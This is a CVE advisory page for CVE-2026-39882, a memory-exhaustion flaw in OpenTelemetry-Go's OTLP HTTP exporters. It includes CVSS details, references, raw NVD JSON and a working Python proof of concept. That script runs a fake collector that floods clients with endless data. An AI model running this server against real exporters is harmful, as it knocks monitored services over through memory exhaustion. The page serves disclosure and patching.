CVE-2026-39882

Description

OpenTelemetry-Go is the Go implementation of OpenTelemetry. Prior to 1.43.0, the otlp HTTP exporters (traces/metrics/logs) read the full HTTP response body into an in-memory bytes.Buffer without a size cap. This is exploitable for memory exhaustion when the configured collector endpoint is attacker-controlled (or a network attacker can mitm the exporter connection). This vulnerability is fixed in 1.43.0.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:opentelemetry:opentelemetry:*:*:*:*:*:go:*:* - VULNERABLE

OpenTelemetry-Go < 1.43.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
# PoC: Malicious OTLP HTTP Collector Simulator
# This script simulates a collector endpoint that sends an infinite response
# to trigger the memory exhaustion vulnerability in OpenTelemetry-Go < 1.43.0

from http.server import BaseHTTPRequestHandler, HTTPServer

class MaliciousHandler(BaseHTTPRequestHandler):
    def do_POST(self):
        self.send_response(200)
        self.send_header('Content-Type', 'application/x-protobuf')
        self.end_headers()
        # Send a large amount of data to exhaust client memory
        # 100MB chunk size
        chunk = b'A' * (1024 * 1024 * 100)
        try:
            while True:
                self.wfile.write(chunk)
        except ConnectionResetError:
            pass

if __name__ == '__main__':
    server = HTTPServer(('0.0.0.0', 4318), MaliciousHandler)
    print('Malicious OTLP Collector running on port 4318...')
    server.serve_forever()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39882
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39882
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39882/
[4] VulDB https://vuldb.com/cve/CVE-2026-39882
[5] https://github.com/open-telemetry/opentelemetry-go/pull/8108
[6] https://github.com/open-telemetry/opentelemetry-go/security/advisories/GHSA-w8rr-5gcm-pp58

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39882", "sourceIdentifier": "[email protected]", "published": "2026-04-08T21:17:00.547", "lastModified": "2026-04-09T18:39:55.730", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenTelemetry-Go is the Go implementation of OpenTelemetry. Prior to 1.43.0, the otlp HTTP exporters (traces/metrics/logs) read the full HTTP response body into an in-memory bytes.Buffer without a size cap. This is exploitable for memory exhaustion when the configured collector endpoint is attacker-controlled (or a network attacker can mitm the exporter connection). This vulnerability is fixed in 1.43.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-789"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:opentelemetry:opentelemetry:*:*:*:*:*:go:*:*", "versionEndExcluding": "1.43.0", "matchCriteriaId": "48C60612-5E76-4FB5-8E3B-070E51A1455B"}]}]}], "references": [{"url": "https://github.com/open-telemetry/opentelemetry-go/pull/8108", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/open-telemetry/opentelemetry-go/security/advisories/GHSA-w8rr-5gcm-pp58", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}